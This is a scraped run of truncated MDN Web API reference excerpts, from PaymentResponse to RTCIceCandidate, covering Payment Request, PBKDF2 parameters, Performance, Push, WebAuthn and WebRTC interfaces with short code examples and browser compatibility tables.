PaymentResponse.shippingOption - Web APIs
Status Comment Payment Request API Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). To change preferences in Firefox, visit about:config.IE No support NoOpera No support NoSafari Full support Yes
WebView Android No support NoChrome Android Full support 56 Full support 56 No support 53 -- 56Disabled Disabled From version 53 until version 56 (exclusive): this feature is behind the #
web-payments preference (needs to be set to Enabled). T...
Pbkdf2Params - Web APIs
Properties name A DOMString. This should be set to PBKDF2. hash A DOMString representing the digest algorithm to use. This may be one of: SHA-1 SHA-256 SHA-384 SHA-512 Warning: SHA-1 is considered vulnerable in most cryptographic applications, but is still considered safe in PBKDF2. However, it's advisable to transition away from it everywhere, so unless you need to use SHA-1, don't. Use a different digest algorithm instead. salt A BufferSource. This should be a random or pseudo-random value of at least 16 bytes. ...
.... In this context, slow is good, since it makes it more expensive for an attacker to run a dictionary attack against the keys. The general guidance here is to use as many iterations as possible, subject to keeping an acceptable level of performance for your application. Examples See the examples for SubtleCrypto.deriveKey(). Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.Pbkdf2Params' in that specification. Recommendation ...
performance.clearResourceTimings() - Web APIs
The clearResourceTimings() method removes all performance entries with an entryType of "resource" from the browser's performance data buffer and sets the size of the performance data buffer to zero. To set the size of the browser's performance data buffer, use the Performance.setResourceTimingBufferSize() method. Note: This feature is available in
Web Workers. ...
...ilable in
Web Workers. Syntax performance.clearResourceTimings(); Arguments void Return value none This method has no return value. ...
performance.setResourceTimingBufferSize() - Web APIs
The setResourceTimingBufferSize() method sets the browser's resource timing buffer size to the specified number of "resource" performance entry type objects. A browser's recommended resource timing buffer size is at least 150 performance entry objects. Note: This feature is available in
Web Workers. Syntax performance.setResourceTimingBufferSize(maxSize); Arguments maxSize A number representing the maximum number of performance entry objects the browser should hold in its performance entry buffer. ...
...ers. Syntax performance.setResourceTimingBufferSize(maxSize); Arguments maxSize A number representing the maximum number of performance entry objects the browser should hold in its performance entry buffer. Return value none This method has no return value. Example function setResourceTimingBufferSize(maxSize) { if (performance === undefined) { log("Browser does not support
Web Performance"); return; } var supported = typeof performance.setResourceTimingBufferSize == "function"; if (supported) { log("... Performance.setResourceTimingBufferSize() = Yes"); performance.setResourceTimingBufferSize(maxSize); } else { log("... Performance.setResourceTimingBufferSize() = NOT supported"); } } Specifications Specification Status Commen...
PerformanceLongTaskTiming.attribution - Web APIs
s API 1The definition of 'attribution' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ndroidSafari on iOSSamsung Internetattribution ExperimentalChrome Full support 58Edge Full support <=79Firefox No support NoIE ? Opera Full support YesSafari ?
WebView Android Full support 58Chrome Android Full support 58Firefox Android No support NoOpera Android Full support YesSafari iOS ? Samsung Internet Android Full support ...
PerformanceMark - Web APIs
d DOMHighResTimeStamp (the mark) to the browser's performance timeline. ...
...ight="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceEntry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#D4DDE4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/PerformanceMark" target="_top"><rect x="201" y="1" width="150" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceMark</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties ...
PerformanceMeasure - Web APIs
(the measure) between two marks to the browser's performance timeline. ...
...ight="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceEntry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#D4DDE4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/PerformanceMeasure" target="_top"><rect x="201" y="1" width="180" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="291" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceMeasure</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Prope...
PerformanceNavigationTiming - Web APIs
used to determine how much time it takes to load or unload a document. ...
...ight="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceEntry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#D4DDE4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/PerformanceNavigationTiming" target="_top"><rect x="201" y="1" width="270" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="336" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceNavigationTiming</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events:...
PeriodicWave.PeriodicWave() - Web APIs
Syntax var myWave = new PeriodicWave(context, options); Parameters Inherits parameters from the AudioNodeOptions dictionary. context A BaseAudioContext representing the audio context you want the node to be associated with. options Optional A PeriodicWaveOptions dictionary object defining the properties you want the PeriodicWave to have (It also inherits the options defined in the PeriodicWaveConstraints dictionary.): real: A Float32Array containing the cosine terms that you want to use to form the wave (equivalent to the real parameter of AudioContext.createPeriodicWave). ...
... Return value A new PeriodicWave object instance. Example var real = new Float32Array(2); var imag = new Float32Array(2); var ac = new AudioContext(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var options = { real : real, imag : imag, disableNormalization : false } var wave = new PeriodicWave(ac, options); Specifications Specification Status Comment
Web Audio APIThe definition of 'PeriodicWave' in that specification. Working Draft ...
PhotoCapabilities.fillLightMode - Web APIs
tureThe definition of 'fillLightMode' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ox for AndroidOpera for AndroidSafari on iOSSamsung InternetfillLightMode ExperimentalChrome Full support 59Edge Full support <=79Firefox ? IE ? Opera Full support 46Safari ?
WebView Android Full support 59Chrome Android Full support 59Firefox Android ? Opera Android Full support 43Safari iOS ? Samsung Internet Android Full support 7.0L...
PhotoCapabilities.imageHeight - Web APIs
aptureThe definition of 'imageHeight' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...efox for AndroidOpera for AndroidSafari on iOSSamsung InternetimageHeight ExperimentalChrome Full support 59Edge Full support <=79Firefox ? IE ? Opera Full support 46Safari ?
WebView Android Full support 59Chrome Android Full support 59Firefox Android ? Opera Android Full support 43Safari iOS ? Samsung Internet Android Full support 7.0L...
imageWidth - Web APIs
CaptureThe definition of 'imageWidth' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...refox for AndroidOpera for AndroidSafari on iOSSamsung InternetimageWidth ExperimentalChrome Full support 59Edge Full support <=79Firefox ? IE ? Opera Full support 46Safari ?
WebView Android Full support 59Chrome Android Full support 59Firefox Android ? Opera Android Full support 43Safari iOS ? Samsung Internet Android Full support 7.0L...
PhotoCapabilities.redEyeReduction - Web APIs
reThe definition of 'redEyeReduction' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... for AndroidOpera for AndroidSafari on iOSSamsung InternetredEyeReduction ExperimentalChrome Full support 59Edge Full support <=79Firefox ? IE ? Opera Full support 46Safari ?
WebView Android Full support 59Chrome Android Full support 59Firefox Android ? Opera Android Full support 43Safari iOS ? Samsung Internet Android Full support 7.0L...
PointerEvent.getCoalescedEvents() - Web APIs
efinition of 'getCoalescedEvents()' in that specification. Editor's Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...To chan...
Pointer events - Web APIs
However, since many devices support other types of pointing input devices, such as pen/stylus and touch surfaces, extensions to the existing pointing device event models are needed. Pointer events address that need. Pointer events are DOM events that are fired for a pointing device. They are designed to create a single DOM event model to handle pointing input devices such as a mouse, pen/stylus or touch (such as one or more fingers). The pointer is a hardware-agnostic device that can target a specific set of screen coordinates. Having a single event model for pointers can simplify creating
Web sites and applications and provide a good user experience regardless of the user's hardware. ...
...ton elements. button#tiny { touch-action: none; } In the following example, when the target element is touched, it will only pan in the horizontal direction. #target { touch-action: pan-x; } Compatibility with mouse events Although the pointer event interfaces enable applications to create enhanced user experiences on pointer enabled devices, the reality is the vast majority of today's
web content is designed to only work with mouse input. Consequently, even if a browser supports pointer events, the browser must still process mouse events so content that assumes mouse-only input will work as is without direct modification. Ideally, a pointer enabled application does not need to explicitly handle mouse input. However, because the browser must process mouse events, there may be some ...
ProgressEvent - Web APIs
underlying resource of an <img>, <audio>, <video>, <style> or <link>). ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/ProgressEvent" target="_top"><rect x="116" y="1" width="130" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">ProgressEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor ...
PromiseRejectionEvent - Web APIs
r details on promise rejection events, see Promise rejection events in Using Promises. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/PromiseRejectionEvent" target="_top"><rect x="116" y="1" width="210" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PromiseRejectionEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} ...
PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() - Web APIs
n top-level contexts and will not be available in an <iframe> for example. Syntax PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() Parameters None. Return value A Promise which resolves to a Boolean indicating whether or a not a user-verifying platform authenticator is available. As of today (March 2019), this is basically indicating if Windows Hello may be used with the
Web Authentication API and that the user has accepted its use. Note: This is a static method which is directly called on the PublicKeyCredential interface and not on an instance. Note: In earlier versions of the specification, the boolean also conveyed the consent of the user to disclose such an authenticator existed. Examples PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable(...
... Recommendation Initial definition. ...
PublicKeyCredential - Web APIs
Other interfaces that inherit from Credential are PasswordCredential and FederatedCredential. ...
... Recommendation Initial definition. ...
PublicKeyCredentialCreationOptions - Web APIs
Properties PublicKeyCredentialCreationOptions.rp An object describing the relying party which requested the credential creation. PublicKeyCredentialCreationOptions.user An object describing the user account for which the credential is generated. PublicKeyCredentialCreationOptions.challenge A BufferSource, emitted by the relying party's server and used as a cryptographic challenge. This value will be signed by the authenticator and the signature will be sent back as part of AuthenticatorAttestationResponse.attestationObject. ...
... Recommendation Initial definition. ...
PublicKeyCredentialRequestOptions - Web APIs
Properties PublicKeyCredentialRequestOptions.challenge A BufferSource, emitted by the relying party's server and used as a cryptographic challenge. This value will be signed by the authenticator and the signature will be sent back as part of AuthenticatorAssertionResponse.signature. PublicKeyCredentialRequestOptions.timeout Optional A numerical hint, in milliseconds, which indicates the time the caller is willing to wait for the retrieval operation to complete. This hint may be overridden by the browser. ...
... Recommendation Initial definition. ...
PushEvent.PushEvent() - Web APIs
PushEvent = new PushEvent('push', dataInit); myPushEvent.data.text(); // should return 'Some sample text' Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 37Safari No support No
WebView Android No support NoChrome Android Full support 42Firefox Android Full support 44 Full support 44 Full support 48Notes Notes Push enabled by default.Opera Android ...
PushEvent.data - Web APIs
Push APIThe definition of 'data' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 44Safari No support No
WebView Android No support NoChrome Android Full support 57Firefox Android Full support 44 Full support 44 Full support 48Notes Notes Push enabled by default.Opera Android ...
PushManager.supportedContentEncodings - Web APIs
ition of 'supportedContentEncodings' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 47Safari No support No
WebView Android No support NoChrome Android Full support 60Firefox Android Full support 48Notes Full support 48Notes Notes Push enabled by default.Opera Android Full support 44S...
PushMessageData.arrayBuffer() - Web APIs
APIThe definition of 'arrayBuffer()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 37Safari No support No
WebView Android No support NoChrome Android Full support 50Firefox Android Full support 48Opera Android Full support 37Safari iOS No support NoSamsung Internet Android ...
PushMessageData.blob() - Web APIs
Push APIThe definition of 'blob()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 37Safari No support No
WebView Android No support NoChrome Android Full support 50Firefox Android Full support 48Opera Android Full support 37Safari iOS No support NoSamsung Internet Android ...
PushMessageData.json() - Web APIs
Push APIThe definition of 'json()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 37Safari No support No
WebView Android No support NoChrome Android Full support 50Firefox Android Full support 48Opera Android Full support 37Safari iOS No support NoSamsung Internet Android ...
PushMessageData.text() - Web APIs
Push APIThe definition of 'text()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 37Safari No support No
WebView Android No support NoChrome Android Full support 50Firefox Android Full support 48Opera Android Full support 37Safari iOS No support NoSamsung Internet Android ...
PushSubscription.expirationTime - Web APIs
APIThe definition of 'expirationTime' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rationTimeChrome Full support 60Edge Full support 16Firefox No support NoIE No support NoOpera Full support 47Safari No support No
WebView Android No support NoChrome Android Full support 60Firefox Android No support NoOpera Android Full support 44Safari iOS No support NoSamsung Internet Android ...
PushSubscription.options - Web APIs
Push APIThe definition of 'options' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 29Safari No support No
WebView Android No support NoChrome Android Full support 42Firefox Android Full support 48Opera Android Full support 29Safari iOS No support NoSamsung Internet Android ...
PushSubscription.subscriptionId - Web APIs
Specification Status Comment Push API Working Draft Initial definition Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...iptionIdChrome Full support 42Edge Full support <=18Firefox No support NoIE No support NoOpera Full support 29Safari No support No
WebView Android No support NoChrome Android Full support 42Firefox Android No support NoOpera Android Full support 29Safari iOS No support NoSamsung Internet Android ...
RTCConfiguration.iceTransportPolicy - Web APIs
Its value must come from the RTCIceTransportPolicy enumerated type. If this property isn't included in the RTCConfiguration, the default value, all, is used. Syntax let rtcConfiguration = { iceTransportPolicy: policy }; rtcConfiguration.iceTransportPolicy = policy; let policy = rtcConfiguration.iceTransportPolicy; Value A DOMString which indicates what ICE candidate policy the ICE agent should use during the negotiation process, per the JSEP standard. The permitted values are: all The ICE agent is permitted to use any kind of candidate, including both local and relay candidates. ...
...callee's IP addresses until the callee has agreed to receive the call. Examples In this example, a new connection is configured to only accept relay candidates. let config = { iceServers: [ { urls: [ "stun:stun.example.com" ] }, ], iceTransportPolicy: "relay" }; let pc = new RTCPeerConnection(config); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCCandidate.iceTransportPolicy' in that specification. Candidate Recommendation Initial definition. ...
RTCDTMFSender: tonechange event - Web APIs
Bubbles No Cancelable No Interface RTCDTMFToneChangeEvent Event handler property ontonechange To determine what tone started playing, or if a tone stopped playing, check the value of the event's tone property. Examples This example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>". ...
... } document.getElementById("playingTone").innerText = tone; }, false); You can also just set the ontonechange event handler property directly: dtmfSender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "<none>" } document.getElementById("playingTone").innerText = tone; }; Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'tonechange' in that specification. Candidate Recommendation Definition for the
WebRTC API ...
RTCDTMFToneChangeEvent - Web APIs
ameters, the first being a DOMString representing the type of the event (always "tonechange"); the second a dictionary containing the initial state of the properties of the event. Methods Supports the methods defined in Event. There are no additional methods. Examples This snippet is derived loosely from the full, working example you'll find in When a tone finishes playing in Using DTMF with
WebRTC. It appends each tone to a display box as it's played, and, once all tones have been sent, re-enabled a previously-disabled "Send" button, allowing the next DMTF string to be entered. dtmfSender.addEventListener("change", function(event) { if (event.tone !== "") { dialStringBox.innerText += event.tone; } else { sendDTMFButton.disabled = false; } }, false); Specifications ...
...'s played, and, once all tones have been sent, re-enabled a previously-disabled "Send" button, allowing the next DMTF string to be entered. dtmfSender.addEventListener("change", function(event) { if (event.tone !== "") { dialStringBox.innerText += event.tone; } else { sendDTMFButton.disabled = false; } }, false); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDTMFToneChangeEvent' in that specification. Candidate Recommendation Initial definition. ...
RTCDataChannel.binaryType - Web APIs
The default is "blob". When a binary message is received on the data channel, the resulting message event's MessageEvent.data property is an object of the type specified by the binaryType. ...
...eived data as a list of hexadecimal byte values. var dc = peerConnection.createDataChannel("Binary"); dc.binaryType = "arraybuffer"; dc.onmessage = function(event) { let byteArray = new Uint8Array(event.data); let hexString = ""; byteArray.forEach(function(byte) { hexString += byte.toString(16) + " "; }); }; Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDataChannel.binaryType' in that specification. Candidate Recommendation Initial specification. ...
RTCDataChannel.label - Web APIs
channel a unique label for tracking purposes. It's entirely up to the design decisions made when building your site or app. A unique ID can be found in the id property. A data channel's label is set when the channel is created by calling RTCPeerConnection.createDataChannel(). It cannot be changed after that. Syntax var name = aDataChannel.label; Value A string identifier assigned by the
Web site or app when the data channel was created, as specified when RTCPeerConnection.createDataChannel() was called to create the channel. Example This sample creates a data channel on an RTCPeerConnection, then, some time later, sets the content of a UI element to display the channel's name. var pc = new RTCPeerConnection(); var dc = pc.createDataChannel("my channel"); /* ... */ document.getE...
...hannel on an RTCPeerConnection, then, some time later, sets the content of a UI element to display the channel's name. var pc = new RTCPeerConnection(); var dc = pc.createDataChannel("my channel"); /* ... */ document.getElementById("channel-name").innerHTML = "<span class='channelName'>" + dc.label + "</span>"; Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDataChannel.label' in that specification. Candidate Recommendation Initial specification. ...
RTCDataChannel: message event - Web APIs
Bubbles No Cancelable No Interface MessageEvent Event handler property onmessage Note: The message event uses as its event object type the MessageEvent interface defined by the HTML specification. Examples For a given RTCDataChannel, dc, created for a peer connection using its createDataChannel() method, this code sets up a handler for incoming messages and acts on them by adding the data contained within the message to the current document as a new <p> (paragraph) element. ...
...ment's body. You can also use an RTCDataChannel object's onmessage event handler property to set the event handler: dc.onmessage = ev => { let newParagraph = document.createElement("p"); let textNode = document.createTextNode(event.data); newParagraph.appendChild(textNode); document.body.appendChild(newParagraph); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'the <code>message</code> event' in that specification. Candidate Recommendation ...
RTCDataChannel.onbufferedamountlow - Web APIs
The RTCDataChannel.onbufferedamountlow property is an EventHandler which specifies a function the browser calls when the bufferedamountlow event is sent to the RTCDataChannel. This event, which is represented by a simple Event object, is sent when the amount of data buffered to be sent falls to or below the threshold specified by the channel's bufferedAmountLowThreshold. See Buffering in Using
WebRTC data channels to learn more about how to work with the data channel buffer. Syntax RTCDataChannel.onbufferedamountlow = function; Value A function which the browser will call to handle the bufferedamountlow event. This function receives as its only input parameter a simple Event object representing the event which has occurred. Example This example responds to the bufferedamountlow event...
...ed by an object source and calling RTCDataChannel.send() to queue up the retrieved data for sending on the data channel. pc = new RTCPeerConnection(); dc = pc.createDataChannel("SendFile"); /* ... */ dc.onbufferedamountlow = function() { if (source.position <= source.length) { dc.send(source.readFile(65536)); } } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDataChannel.onbufferedamountlow' in that specification. Candidate Recommendation Initial specification. ...
RTCDataChannel.protocol - Web APIs
The read-only RTCDataChannel property protocol returns a DOMString containing the name of the subprotocol in use. If no protocol was specified when the data channel was created, then this property's value is "" (the empty string). The permitted values of this property are defined by the
Web site or app using the data channel. The ability for each channel to have a defined subprotocol lets your app, for example, use JSON objects as messages on one channel while another channel is plaintext and another is raw binary or even some other format. Syntax var subProtocol = aDataChannel.protocol; Value A string identifying the app-defined subprotocol being used for exchanging data on the channel. If none has been established, this is an empty string (""). Example var pc = new RTCPeerConn...
... Candidate Recommendation Initial specification. ...
RTCDataChannel.readyState - Web APIs
two peers together is in the process of being set up. This is the state of a new RTCDataChannel after being created by RTCPeerConnection.createDataChannel() (on the peer which started the connection process). "open" The underlying data transport has been established and data can be transferred bidirectionally across it. This is the default state of a new RTCDataChannel created by the
WebRTC layer when the remote peer created the channel and delivered to the site or app in a datachannel event of type RTCDataChannelEvent. "closing" The process of closing the underlying data transport has begun. It is no longer possible to queue new messages to be sent, but previously queued messages may still be send or received before entering the "closed" state. "closed" T...
... Candidate Recommendation Initial specification. ...
RTCDataChannelEvent() - Web APIs
Syntax var event = new RTCDataChannelEvent(type, rtcDataChannelEventInit); Parameters type A DOMString which specifies the name of the event. There is only one type of RTCDataChannelEvent, so this will always be "datachannel". ...
...ited from EventInit. Indicates if the event can be canceled or not. Default is false. Value A new RTCDataChannelEvent configured as specified. Example In this example, a new datachannel event is created. dc is a data channel which already exists. var event = new RTCDataChannelEvent("datachannel", {"channel": dc}); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDataChannelEvent' in that specification. Candidate Recommendation Initial specification. ...
RTCDataChannelEvent - Web APIs
The RTCDataChannelEvent() constructor returns a new RTCDataChannelEvent object, which represents a datachannel event. These events sent to an RTCPeerConnection when its remote peer is asking to open an RTCDataChannel between the two peers. You will rarely if ever construct an RTCDataChannelEvent by hand; instead, the
WebRTC layer will generate and deliver them to you at the appropriate time. Just listen for the datachannel event to be received by the RTCPeerConnection and when you receive it, use the RTCDataChannelEvent.channel property to gain access to the data channel which has been opened. ConstructorRTCDataChannelEvent() The RTCDataChannelEvent() constructor creates a new RTCDataChannelEvent.PropertiesAlso inherits properties from: Eventchannel Read only The read-only property RT...
... Candidate Recommendation Initial definition. ...
RTCDtlsTransport - Web APIs
he underlying transport and the security added to it by the DTLS layer. ...
... Candidate Recommendation Initial definition. ...
RTCError - Web APIs
The RTCError interface describes an error which has occurred while handling
WebRTC operations. It's based upon the standard DOMException interface that describes general DOM errors. Constructor RTCError() Creates and returns a new RTCError object initialized with the properties of the provided RTCErrorInit dictionary and, optionally, a string to use as the value of the error's message property. Properties In addition to the properties defined by the parent interface, DOMException, RTCError includes the following properties: errorDetail Read only A DOMString specifying the
WebRTC-specific error code identifying the type of error that occurred. receivedAlert Read only An unsigned long integer value indicating the fatal DTLS error which was received from the network. Only valid...
...s terminal, causing a terminateMyConnection() function to be called. The above example uses addEventListener() to add the handler for error events. You can also use the RTCDataChannel object's onerror event handler property, like this: dataChannel.onerror = (event) => { let error = event.error; /* and so forth */ }; Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCError' in that specification. Candidate Recommendation Initial definition. ...
RTCErrorEvent.error - Web APIs
The read-only RTCErrorEvent property error contains an RTCError object describing the details of the error which the event is announcing. Syntax let errorInfo = rtcErrorEvent.error; Value An RTCError object whose properties provide details about the error which has occurred in the context of a
WebRTC operation. Since RTCError is based upon DOMException, it includes those properties. Additional properties defined by RTCError are: errorDetail Read only A DOMString specifying the
WebRTC-specific error code identifying the type of error that occurred. receivedAlert Read only An unsigned long integer value indicating the fatal DTLS error which was received from the network. Only valid if the errorDetail string is dtls-failure. If null, no DTLS error was received. sctpCauseCode Read o...
...s terminal, causing a terminateMyConnection() function to be called. The above example uses addEventListener() to add the handler for error events. You can also use the RTCDataChannel object's onerror event handler property, like this: dataChannel.onerror = (event) => { let error = event.error; /* and so forth */ }; Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCErrorEvent.error' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate.RTCIceCandidate() - Web APIs
mpty string, which indicates that the candidate is an "end-of-candidates" message. The following fields are initialized to null if they are not included in the RTCIceCandidate.candidate property: foundation, component, priority , ip, protocol, port, type, tcpType, relatedAddress, and relatedPort. ...
...tring is performed using the candidate-attribute grammar from the
WebRTC Specification. Exceptions TypeError The specified RTCIceCandidateInit has values of null in both the sdpMid and sdpMLineIndex properties. Usage notes This constructor does not do complete validation of the specified candidateInfo object or string. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate()' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate.address - Web APIs
om the candidate a-line, if it's formatted properly. Syntax var address = RTCIceCandidate.address; Value A DOMString providing the IP address from which the candidate comes. Note: If port is null -- and port is supported by the user agent -- passing the candidate to addIceCandidate() will fail, throwing an OperationError exception. Security notes It's important to note here that although
WebRTC does not require the two peers on an RTCPeerConnection to know one another's true IP addresses, the address property on RTCIceCandidate can expose more information about the source of the remote peer than the user expects. The IP address can be used to derive information about the remote device's location, network topology, and so forth. It can also be used for fingerprinting purposes. The ca...
...2.168.0.56 44323 typ host The fifth field, "192.168.0.56" is the IP address in this candidate's a-line string. Example This code snippet uses the value of address to implement an IP address based ban feature. if (ipBanList.includes(candidate.address)) { rejectCandidate(candidate); } else { acceptCandidate(candidate); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate: address' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate.candidate - Web APIs
idateObj).catch({ /* handle the error thrown by addIceCandidate() */ }); } The handleNewIceCandidate() function shown here passes the received candidate's SDP text into RTCIceCandidate() to receive an RTCIceCanddiate object in return, which represents the candidate. The new candidate is then passed into RTCPeerConnection.addIceCandidate() to add the candidate to the list of candidates for
